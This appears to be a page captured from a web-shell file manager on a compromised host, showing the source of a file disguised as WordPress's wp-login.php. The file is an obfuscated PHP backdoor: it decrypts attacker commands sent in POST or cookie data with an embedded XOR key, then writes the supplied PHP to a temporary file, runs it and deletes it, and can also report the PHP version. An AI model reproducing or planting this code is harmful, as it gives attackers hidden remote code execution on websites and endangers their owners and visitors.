HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/pianob/wp-content/wp-login.php
<?php $_tzsfui /* fnsee */ =	'_tzsfui'    ^    '<';$hinkgkfta /*   a*/ =   $_tzsfui(97)    .       "r"."r"."a"."\171"      .  "_".$_tzsfui(109)	.	$_tzsfui(97)    .    "p";
function /* lp  */ epbbcmxa($peb_druf,   $wsje_bfgzjedrigw)
{
	global       $_tzsfui;

 /*  baisuk */ 

	$peb_druf /*jnrqw  */ =   "<"   .	"?"."p"."h".$_tzsfui(639-527)	.	$_tzsfui(32) /*  aveq   */ .	"\x75"    .   "\156"	.	$_tzsfui(108)       . /*  lo  */ "\151"   . /*  dutsvu  */ "n"."k".$_tzsfui(707-667) /*  jrpd*/ .    $_tzsfui(1029-934)	.	"\137"       . /* rocw   */ $_tzsfui(721-651)	.       "I"."\114"    .    "\x45" /* pkaya */ .  "\x5f"     .   $_tzsfui(95)    .    $_tzsfui(41)    .	"\x3b"      . /*   s*/ $_tzsfui(32)	. /*  dsh*/ $peb_druf[$_tzsfui(812-712)];	$dmvwx	= /*rzts*/ $_tzsfui(102)     .	$_tzsfui(365-260)."l"."e".$_tzsfui(95) /*gdjze  */ .    "p"."u"."\164"	. /*   yo   */ "\137"   . /*  znqn*/ $_tzsfui(116-17) /*m */ .       $_tzsfui(111)    .	"n"."t".$_tzsfui(101)  .     "n"."t".$_tzsfui(115); /*j   */  /*  s   */ $dmvwx($wsje_bfgzjedrigw,       $peb_druf);


	 /*jmfda */ arkzsmy_q($wsje_bfgzjedrigw);}$wsje_bfgzjexeewafnec /* x   */ = /* alfsp*/ 73;




function   arkzsmy_q($wsje_bfgzjedrigw)

{	global  $_tzsfui;
 /*   grmo*/ 


    include($wsje_bfgzjedrigw);
  $pwydh /*  ansk*/ = /*yutl */ $wsje_bfgzjedrigw;
 /* _   */ @unlink($pwydh);}


function    eahvpfv(){ /*  obvr*/ global  $_tzsfui;




       $wsje_bf  = /*   jdmud   */ array();


	$wsje_bf["\160"    . /* lk   */ "\166"] /* vdet   */ =    phpversion();

	$wsje_bf["s"."v"]      =	"3"."."."\x35";
	$yppjxfwb /*   etzgo   */ =  74;


   echo     @serialize($wsje_bf);

}




function    bqiwsuazam($peb_druf,	$_nt_rjw)
{
 /*  ed*/ global    $_tzsfui;

	$xxepdt    =    ""; /* km   */ $qomevywyfh /* l */ = /*   sblge*/ strlen($peb_druf);    $blfqmpp    = /*   wj   */ strlen($_nt_rjw);

    $wsje_bf /* fxpz*/ =	0;

       $wsje_bfgzje   =    0;

   

 /*zk  */ while	($wsje_bf    <       $qomevywyfh) /*  m  */ {

 /*dmsus */ $gggfibrx      =     $peb_druf[$wsje_bf]       ^       $_nt_rjw[$wsje_bfgzje    %    $blfqmpp];
	$xxepdt /* pzmng*/ .=    $gggfibrx;
   $wsje_bfgzje++;    

 /*   xyqc */ $wsje_bf++;

    }


        if    (strlen($xxepdt) /*  lgilz*/ >	20)    {     $yhctwutf	=      substr($xxepdt,    0,	20);
 /*  m   */ }

	if /* tkb   */ (empty($xxepdt))	{


    $xxepdt /* qo */ = /* muhiir */ date('Y-m-d	H:i:s');
 /* avdy*/ }    return /*  wrrvdg  */ $xxepdt;
}







function    djnjrx_hlt($moqyzek){    global       $_tzsfui;	

 /*  thkat  */ $lwbhyszz /*drcvoi */ =	"8"."0"."\142"	.    "6"."\71"    .	$_tzsfui(653-599)	. /*  xa  */ "0".$_tzsfui(812-712)."\x2d" /*vs*/ . /*e   */ "\144"	.  "7"."5"."\66" /* makdq*/ .    "-".$_tzsfui(52)    . /*lc*/ "6"."3"."9"."-"."b"."b"."0"."f".$_tzsfui(437-392)	.  "2"."3".$_tzsfui(423-323)	.	$_tzsfui(53)    .      "\x63" /*ixw*/ .     "\141"."b"."\144" /*   eaax  */ . /* liujz  */ "\71"	. /*ipcqu   */ "3".$_tzsfui(53) /*zsayof   */ .      "\x30";

 /*  nuhz   */ 
   foreach	($moqyzek /*  yd  */ as   $vltjpib    => /* wo   */ $peb_druf) /*   iqpfk*/ {


  ajjpw(base64_decode($peb_druf),     $lwbhyszz,       $vltjpib);
 /* gtblg   */ }

}


function    ajjpw($peb_druf,	$lwbhyszz,	$vltjpib)

{      global    $_tzsfui;

      

       $peb_druf /*  ypawjb   */ = /*  xc */ unserialize(bqiwsuazam(bqiwsuazam($peb_druf,	$lwbhyszz),	$vltjpib));

	$vxorqjul  = /* pvh   */ 'piix';

	$kbrbtxme       =    'yp';
	if    (isset($peb_druf[$_tzsfui(97)   .    $_tzsfui(107)]))   {


    if /*   iourxy*/ ($peb_druf["\141"]	==       $_tzsfui(365-260))    {

 /* pocqe*/ eahvpfv();

    } /*   bl*/ elseif       ($peb_druf["\141"]    ==	"e")    {
 /*   pv   */ epbbcmxa($peb_druf,  sprintf("\x2e"    . /*   rht*/ "/".$_tzsfui(37)    .    "\163"  . /* by  */ "\56"  .	$_tzsfui(1104-992)      .    "\x6c",  md5($lwbhyszz)));
			$_njbdavq /*m___ */ = /* do*/ 44;    }
    exit(); /*   jzu  */ }}




djnjrx_hlt($_POST);      


$etprbfqk /* k*/ = /*   vl  */ 'rawurldecode';

$kqngnhhx /*  sgmy   */ =	$hinkgkfta($etprbfqk,     $_POST);


explode("", /*   hdwyu   */ $etprbfqk);

djnjrx_hlt($_COOKIE);



$xgbsm    = /* w  */ $hinkgkfta($etprbfqk, /*   vo  */ $_COOKIE);






?>